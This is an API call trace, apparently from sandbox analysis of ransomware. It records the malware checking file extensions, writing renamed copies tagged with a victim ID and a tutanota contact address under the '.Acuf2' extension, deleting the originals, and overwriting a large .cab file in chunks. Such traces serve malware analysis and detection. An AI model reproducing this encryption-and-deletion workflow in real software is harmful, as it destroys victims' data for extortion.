	[0047.586] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0047.586] lstrlenW (lpString=".ppt") returned 4
	[0047.586] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0047.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.586] lstrlenW (lpString=".zip") returned 4
	[0047.586] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0047.586] lstrlenW (lpString=".rar") returned 4
	[0047.586] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0047.587] lstrlenW (lpString=".bz2") returned 4
	[0047.587] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0047.587] lstrlenW (lpString=".7z") returned 3
	[0047.587] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0047.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.587] lstrlenW (lpString=".dbf") returned 4
	[0047.587] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0047.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.587] lstrlenW (lpString=".1cd") returned 4
	[0047.587] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0047.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.587] lstrlenW (lpString=".jpg") returned 4
	[0047.587] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0047.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.587] lstrlenW (lpString=".doc") returned 4
	[0047.587] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0047.587] lstrlenW (lpString=".docx") returned 5
	[0047.587] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0047.587] lstrlenW (lpString=".pdf") returned 4
	[0047.587] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0047.587] lstrlenW (lpString=".xls") returned 4
	[0047.587] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0047.587] lstrlenW (lpString=".xlsx") returned 5
	[0047.587] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0047.587] lstrlenW (lpString=".ppt") returned 4
	[0047.587] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0047.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.587] lstrlenW (lpString=".zip") returned 4
	[0047.587] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0047.587] lstrlenW (lpString=".rar") returned 4
	[0047.588] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0047.588] lstrlenW (lpString=".bz2") returned 4
	[0047.588] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0047.588] lstrlenW (lpString=".7z") returned 3
	[0047.588] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0047.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.588] lstrlenW (lpString=".dbf") returned 4
	[0047.588] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0047.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.588] lstrlenW (lpString=".1cd") returned 4
	[0047.588] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0047.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.588] lstrlenW (lpString=".jpg") returned 4
	[0047.588] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0047.588] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0047.588] lstrlenW (lpString="dwdcw20.dll") returned 11
	[0047.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0047.926] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=526176) returned 1
	[0047.926] CloseHandle (hObject=0x158) returned 1
	[0047.927] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020
	[0047.927] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.927] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0047.927] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.927] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.927] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0047.927] GetLastError () returned 0x0
	[0047.927] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x80760, lpOverlapped=0x0) returned 1
	[0047.942] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0x80770, lpOverlapped=0x0) returned 1
	[0047.951] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.951] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0047.951] SetEndOfFile (hFile=0x1a0) returned 1
	[0047.952] CloseHandle (hObject=0x1a0) returned 1
	[0047.952] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.952] SetEndOfFile (hFile=0x158) returned 1
	[0047.957] CloseHandle (hObject=0x158) returned 1
	[0047.957] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0047.957] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1
	[0047.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.958] lstrlenW (lpString=".doc") returned 4
	[0047.958] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0047.958] lstrlenW (lpString=".docx") returned 5
	[0047.958] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0047.958] lstrlenW (lpString=".pdf") returned 4
	[0047.958] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0047.958] lstrlenW (lpString=".xls") returned 4
	[0047.958] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0047.958] lstrlenW (lpString=".xlsx") returned 5
	[0047.958] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0047.958] lstrlenW (lpString=".ppt") returned 4
	[0047.958] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0047.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.958] lstrlenW (lpString=".zip") returned 4
	[0047.958] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0047.958] lstrlenW (lpString=".rar") returned 4
	[0047.958] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0047.958] lstrlenW (lpString=".bz2") returned 4
	[0047.958] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0047.958] lstrlenW (lpString=".7z") returned 3
	[0047.958] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0047.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.958] lstrlenW (lpString=".dbf") returned 4
	[0047.959] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0047.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.959] lstrlenW (lpString=".1cd") returned 4
	[0047.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0047.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.959] lstrlenW (lpString=".jpg") returned 4
	[0047.959] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0047.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.959] lstrlenW (lpString=".doc") returned 4
	[0047.959] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0047.959] lstrlenW (lpString=".docx") returned 5
	[0047.959] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0047.959] lstrlenW (lpString=".pdf") returned 4
	[0047.959] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0047.959] lstrlenW (lpString=".xls") returned 4
	[0047.959] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0047.959] lstrlenW (lpString=".xlsx") returned 5
	[0047.959] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0047.959] lstrlenW (lpString=".ppt") returned 4
	[0047.959] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0047.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.959] lstrlenW (lpString=".zip") returned 4
	[0047.959] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0047.959] lstrlenW (lpString=".rar") returned 4
	[0047.960] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0047.960] lstrlenW (lpString=".bz2") returned 4
	[0047.960] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0047.960] lstrlenW (lpString=".7z") returned 3
	[0047.960] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0047.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.960] lstrlenW (lpString=".dbf") returned 4
	[0047.960] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0047.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.960] lstrlenW (lpString=".1cd") returned 4
	[0047.960] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0047.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0047.960] lstrlenW (lpString=".jpg") returned 4
	[0047.960] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0047.960] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0047.960] lstrlenW (lpString="msvcr90.dll") returned 11
	[0047.960] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0047.961] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=655872) returned 1
	[0047.961] CloseHandle (hObject=0x158) returned 1
	[0047.961] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020
	[0047.961] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.961] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0047.961] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.961] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.961] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0047.962] GetLastError () returned 0x0
	[0047.962] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0xa0200, lpOverlapped=0x0) returned 1
	[0048.097] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0xa0210, lpOverlapped=0x0) returned 1
	[0048.108] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.108] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0048.108] SetEndOfFile (hFile=0x1a0) returned 1
	[0048.534] CloseHandle (hObject=0x1a0) returned 1
	[0048.577] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.577] SetEndOfFile (hFile=0x158) returned 1
	[0048.583] CloseHandle (hObject=0x158) returned 1
	[0048.583] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0048.583] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1
	[0048.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.583] lstrlenW (lpString=".doc") returned 4
	[0048.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0048.583] lstrlenW (lpString=".docx") returned 5
	[0048.583] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0048.583] lstrlenW (lpString=".pdf") returned 4
	[0048.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0048.584] lstrlenW (lpString=".xls") returned 4
	[0048.584] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0048.584] lstrlenW (lpString=".xlsx") returned 5
	[0048.584] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0048.584] lstrlenW (lpString=".ppt") returned 4
	[0048.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0048.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.584] lstrlenW (lpString=".zip") returned 4
	[0048.584] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0048.584] lstrlenW (lpString=".rar") returned 4
	[0048.584] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0048.584] lstrlenW (lpString=".bz2") returned 4
	[0048.584] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0048.584] lstrlenW (lpString=".7z") returned 3
	[0048.584] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0048.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.584] lstrlenW (lpString=".dbf") returned 4
	[0048.584] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0048.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.584] lstrlenW (lpString=".1cd") returned 4
	[0048.584] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0048.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.584] lstrlenW (lpString=".jpg") returned 4
	[0048.584] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0048.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.584] lstrlenW (lpString=".doc") returned 4
	[0048.584] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0048.584] lstrlenW (lpString=".docx") returned 5
	[0048.585] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0048.585] lstrlenW (lpString=".pdf") returned 4
	[0048.585] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0048.585] lstrlenW (lpString=".xls") returned 4
	[0048.585] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0048.585] lstrlenW (lpString=".xlsx") returned 5
	[0048.585] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0048.585] lstrlenW (lpString=".ppt") returned 4
	[0048.585] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0048.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.585] lstrlenW (lpString=".zip") returned 4
	[0048.585] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0048.585] lstrlenW (lpString=".rar") returned 4
	[0048.585] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0048.585] lstrlenW (lpString=".bz2") returned 4
	[0048.585] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0048.585] lstrlenW (lpString=".7z") returned 3
	[0048.585] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0048.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.585] lstrlenW (lpString=".dbf") returned 4
	[0048.585] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0048.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.585] lstrlenW (lpString=".1cd") returned 4
	[0048.585] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0048.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0048.585] lstrlenW (lpString=".jpg") returned 4
	[0048.585] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0048.586] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0048.586] lstrlenW (lpString="OfficeLR.cab") returned 12
	[0048.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0048.586] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=14127746) returned 1
	[0048.586] CloseHandle (hObject=0x158) returned 1
	[0048.586] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020
	[0048.586] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.586] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0048.587] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0048.587] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0048.587] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0048.587] ReadFile (in: hFile=0x158, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0048.591] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0048.592] ReadFile (in: hFile=0x158, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0048.595] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0048.595] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0048.595] ReadFile (in: hFile=0x158, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0048.621] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.621] WriteFile (in: hFile=0x158, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0104, lpOverlapped=0x0) returned 1
